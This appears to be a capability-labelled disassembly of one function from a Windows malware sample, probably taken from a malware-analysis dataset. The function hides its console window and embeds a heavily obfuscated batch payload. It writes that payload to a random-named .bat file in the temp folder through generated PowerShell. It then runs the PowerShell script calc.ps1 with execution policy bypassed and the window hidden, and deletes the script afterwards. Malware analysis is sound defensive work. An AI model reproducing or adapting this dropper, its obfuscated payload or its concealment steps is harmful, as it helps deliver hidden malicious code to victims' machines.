Function at 0x1d65f15c9
Capabilities:
Delete file
Execute command
Hide graphical window
Set registry value

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x420
lea rbp, [rsp + 0x80]
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.1d668db60
mov ecx, 0x28f67
call sym.operator_new___unsigned_long_long_
mov qword [rbp + 0x390], rax
mov rax, qword [rbp + 0x390]
mov rcx, rax
lea rax, str.cmd__c__set___rem__r_nset__ZXVrVVN4sePRTwStPRTwS_cPRTwSXlHPRTwSTPRTwSwPRTwS1PRTwS_PRTwSPRTwS_sPRTwStPRTwSartPRTwS__PRTwS___PRTwSmiPRTwSn_PRTwS__r_nset__d2VNT1ZJPRTwS_PRTwSexiPRTwStPRTwS__r_nset__UFJzUERqnPRTwSotPRTwS_dPRTwSefPRTwSinPRTwSePRTwSd_PRTwScXPRTwSlHPRTwSTPRTwSwPRTwS_r_nif__UFJzUERq:PRTwS____ZXVrVVN4:PRTwS__0__d2VNT1ZJ:PRTwS___r_n::bEJj8EObvNwxlNCMlljQmcU38im3e5loHAraVR_6HBQXGzQ4ffHb_MP2xUtE_uJsf7wox0GxoegsZ_kXoh85SefZD3pyS4_eXCrbewUeOtSy6DPtiI8PsgcCP2ArkeBJdo70gG4PfDWax7Vzczsf7GJ9xxepLXnsYEW0QdSohsrmuJmZYWONlFxcF6XKWWmDqunzP7F_2QjRHdtrQTGtXRqZ3QHtfw8sEdOaagYgQ0AkDNFweyK6JzvMqDX5hNMVOrPCXIL__zhou12980_r_gNyaIfyTNnbzfIRvvVhX1ZjOj6hnppTO51rRTIJu6iO1nh13JnvnX6z7xvWaC2XLNwkfT1rus53qQ4Itce6qP07MgYaByOWr1V3mj8bvgp913p94MQRd_943wZLVubknlmYbXMRyOIcO3qLF1kU204gFtk9h5CBXDiKq1qSjO2Iagv7uWwRbTQHx4yxzNBy_IzGVblrn4VEL1QzsVmUW8DkSXzDT5O3GXF2IwzXGBX5moPn8bTGX9HV_KszYbYwu6cLtd3DHOLLDOadN7sffiThk4s2KRxsEmnA2Grqfpji0S4VvUINh6IF66Wc_wqLtW0n5ajnbUj7mfVn8D8yg0CW0OGLty38mOvuZOmt5qT3oIAqLYVQQIRv5hPps71juCO6oIfnQAO1xt6WxQiA7MW8hvtPIcMhn9xMeLUdWXNV4RStZifnchhGw0OFK_VqgpbuY4wGWgYtpsdi3gysPXOEBMrOS1pGWQkfGmrcMFH85QRo1rj__Mwu7tzOvCI5bkE0RMq1iKb0h_RaJQEstXLpELJ1wqa2DyD83j8OcfyslzipNaS8XR2B5XDlhOPgt6ttun0ERR2uIMQO_Kxo3TT2bq9RCGrFl6M39KpDy5TC73Bf7RIMcFEoQg5354MaHLVqCCQ8Bzg8W6sRGw3u_k_3HFRQ1A_hfgVBxIOQdGuu339peHB17lPCmGXkfybhWRHovCIsGlBoCNKfH0eJqpOT3p6iv8gSFAYZbXzgUGSDixCz0FFGKt2sLdL9z4O2zu7I9qxzrET3UVfiR1GPi0eNsUmjsccgiQzbWe89Bf1z2IdyKklzUxwDMozuyQI8LfH5xPJXSNl9uDDH9xMPWCcAOeLZ4CBzNcuHgxpUMQU8PtWIyik2nEpW_ixzeb3ystrw0FODdumG2AIg6vnwe8idc0GR5BbQYjjHptv6_OtdirpknnA92EE5my9_53gz8bEaq2PV_ag58Y_t9vX6XUodMKUOFTgEY1cdyFyyLe2rTCDUHupMFVfYa0Bj3p2eQG8vMBqSoTyJ2F3THQaVc5WZ9RJclKZXg1hl7IYd73iNOf9yV5Iw9xXOOeb59lNgEXjFxDWz2OI73m9h2wtvsTZpwM9S3BZn5VioVzniySgalAc7ghCn_NfFZcJDIJe65zeEWTvvIAwBHQwfihC5ejgCFtumc0C9U0e9ix5ylQHMPjSfJWhrdEyjMwLHWC5hN7MjPfkUv6heNoGflEi10PyuY9FYlpBnNKB7KnxysUWkJ_sWMGr0snVrHIRjDdufAp3vfZJJH3ZqM2HZkzZX5lFKpkqZiVkICx9IwC4y4A_3diKCfVfwGKCFLp24KSV8xdNkQ_e60EW81GbxMEbOjgnh_d78Fk5Vnz_l5MOGJFgJv5SbRhbenAjtUeVGffmj1DOK1MIoyQQMqiKTQWTup2jYKLfbI9BYSZLJ6WwJsqNvn3is43TsFgXSlP05wavSUVTEXKULiGNardwsfMyydEmoT8rodugVmCebhvi_dfWxiVvcPeZL2biD1OQWLFIy5JfKzF312L6WENNOcLz3rQxDPZh375F_xfSgJGDEkqC8Spv7i8LqJpXpdvhrek8ZYU6qEmobGr0nzl2_D9ZwqXNDHQSPbLEKC7XWuoPZ9QFVKuKGIf3CVTuNwONCBK1oGYh8KOci9G4ND_0UNioB5pABSj1BUpFEzxmFphtlFNZ9P5wMsYyeSVMXLAtSVeL6K2x1awpLr87SBbzPQH4p6p0bQNxBANnL49sWFPTZ5y0xIgxrWWsJkMFUc5m3znpYIzJjSNyDXnhB6Fjgoz93UlVsrN8k4dBcwMSE8cSuETg78MptmqsfipKSvKahzPSUa06uD51JK1uWr2dHXWQO1SjgjHxaaH7_nGM1nGki1Fod9K4148BmjtnndccesfBY2FfIqVI5f9EjR9xkKOk7NTuDf7uWXQ8HharrVaWp5niDPTXMi8kW4AxxaETzgZgWzVL05TfWrt5jiSzb3ya6vxmoC0jWThkC1c3RGEGIW7Z8Si9GpFd1oKe4FQt0qMjB56cpHySeRkbPOsoyLt1KEYjVK_55CkG3_8rZHaMqBuW8gJP6ELqCCOGjFPU5x0US7f43tL_w0QewjhcWEYOdBPV08ccvP_99E2zcH4HQrtmVQzFsD5q6EMxtRYhOFdGvHd93LGoiPSpFr5Srel1Bt7x3SBOOl_nqTXm0F7kA9AfAymNE6dBIkIUuCKpFLhgIZv1f1K6kruONKIyjpwn5ZIpjdp9zyyKHMpxIYVnQ8Pj9WtpYeQ7YttAQDRylfUvAiBRIPEl84KZK4Y56R3A3eBXXe7eRSFxZq_Zu01OSVEMxEvtcTutzquwBQ219HR5mqEYTfDi_QU1_AsmvNlYrWDc7eOgDR3secLXD3CSimMDNo0V3D8kBGuzmO0_rYEGuW9NycNQrtuY3V_9wnNgcbMs0CXj5Kh2fsVs1_Tk_lB3bg_aWCgmw4cw_AcYT5YaILSIqYPSJgO2nNBCFWrFWWGb9Y2hGT3WTkWtjhkk3QtnDIwuHL1dSUNMpkm3N896JThI432L64lJv_ke2vKaqL5qxDH4vxSDEJruJX4vXZ6X7peV2VYLJhv4ZLgtCEFHqoxJgyvGYwYSQ5GC00BQnhJEBd4O5NEtpRUIYWKbaXnDAtNWmf0NfcK3I66q3cD2AmsKq3n13NPk9K0Pl5Mka6wIAUHi48NdgYBSauc7tWrWJX9oc8MtVzUNDRgXeQ9LlO6MYaREFDwkcJogd7JjPWahOGAsp_S_nYttvFh8B8RCqDG__qTuL0RMUrhjlD2g4LiFSGJnVy8MuMKg8D0pYtES5TTbTmdQTc1Ij_wUjXGokXmL2GNZxww6pSX5CLW043l4UgD62XAlt50Y9AutSMTFvhNQVwhv3Np4ngHegmFeKzLWJ_AKQ2fm44Fqkf7nUeVG9QphOKQKNLl1AsX9uqSPGo1ew3zuvNqBIyPQNdaSBP38eOMtB8v4IDlbqgGsVESshS2t9sz_9erAFJ61ylZMQwEhD0yzDgXD4WX1Wsvcl7wgXS5e0bL127U4btUyXqC94vO7R68iufA2c6XdE6IKIBooiecgZAtNWPxGBjquSf7VqDbY4Y4znFWUOp5dZOgc8dn_3iwvjEeUZwEO4oT9TNgB4inuMpRkb651gLNLuJbu8Fpl_N7bHIiVsecI3RGnQApLN0YkwdVutlZ6SxQS8wQDmrlEqkFQxoxwECviFOcA_8AEPpwaxSK9T6qeDgSTcjMR_S3zrbzp1Mt2xy_IyK8idl_UKcZuapjkV200pLN_YfX6AcGEclAvTgHxUgCWNMDYhkXnkRS4VxkXMEZHsQ3Bnjfw3cKU9zloZw9ScrwqP8KqGcpaZimXnCsdfPqpAG
mov edx, 0x28f67
mov r8, rdx
mov rdx, rax
call sym.memcpy
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1d669a090
mov dword [rbp + 0x39c], 0
jmp 0x1d65f16c3
lea rax, [rbp + 0x1a0]
add rax, 0x10
lea rdx, [method.std.hex_std::ios_base_]
mov rcx, rax
call method.std::ostream.operator___std::ios_base____std::ios_base__
mov rbx, rax
mov ecx, 2
call method.std.setw_int_
mov edx, eax
mov rcx, rbx
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____std::_Setw_
mov rbx, rax
mov ecx, 0x30
call method.std::_Setfill_char__std.setfill_char__char_
mov edx, eax
mov rcx, rbx
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____std::_Setfill_char__
mov rcx, rax
mov eax, dword [rbp + 0x39c]
movsxd rdx, eax
mov rax, qword [rbp + 0x390]
add rax, rdx
movzx eax, byte [rax]
movsx eax, al
mov edx, eax
call method.std::ostream.operator___int_
add dword [rbp + 0x39c], 1
cmp dword [rbp + 0x39c], 0x28f66
jle 0x1d65f1651
lea rax, [rbp + 0x180]
lea rdx, [rbp + 0x1a0]
mov rcx, rax
call method.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___.str___const
lea rax, [rbp + 0x370]
lea rdx, [rbp + 0x180]
mov r8, rdx
lea rdx, str._hex___
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x350]
lea rdx, [rbp + 0x370]
lea r8, [0x1d66daff5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x350]
lea rax, [rbp + 0x330]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x350]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x370]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x330]
lea rdx, str._temp_path___System.IO.Path_::GetTempPath___n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp + 0x330]
lea rdx, str._file_name___System.IO.Path_::GetRandomFileName____.bat_n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp + 0x330]
lea rdx, str._file_path___temp_path___file_name_n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp + 0x330]
lea rdx, str._System.IO.File_::WriteAllBytes__file_path___byte_____hex__split__..___ne_______convert_::toint16_____16_____n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp + 0x330]
lea rdx, str._exec__New_Object__com_shell.application__n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp + 0x330]
lea rdx, str._exec.shellexecute__file_path___n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp - 0x60]
mov r8d, 0x10
lea rdx, str.calc.ps1
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x60]
add rax, 0xd8
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x1d65f1856
mov ecx, 0x20
call sym.__cxa_allocate_exception
mov rbx, rax
call method.std::_V2.generic_category__
mov rsi, rax
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
call rax
mov eax, dword [rax]
lea r9, str.Failed_to_create_PowerShell_script_file
mov r8, rsi
mov edx, eax
mov rcx, rbx
call method.std::system_error.system_error_int__std::_V2::error_category_const__char_const_
mov r8, qword [method.std::system_error.system_error__]
lea rax, [0x1d66e34e0]
mov rdx, rax
mov rcx, rbx
call sym.__cxa_throw
lea rdx, [rbp + 0x330]
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea rax, str.powershell__ExecutionPolicy_Bypass__WindowStyle_Hidden__File_calc.ps1
mov rcx, rax
call sym.system
lea rax, str.calc.ps1
mov rcx, rax
call sym.remove
cmp qword [rbp + 0x390], 0
je 0x1d65f18ac
mov rax, qword [rbp + 0x390]
mov rcx, rax
call sym.operator_delete___void_
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
lea rax, [rbp + 0x180]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1d669ab70
lea rax, [rbp + 0x330]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x1d65f1979
add rsp, 0x420
pop rbx
pop rsi
pop rbp
ret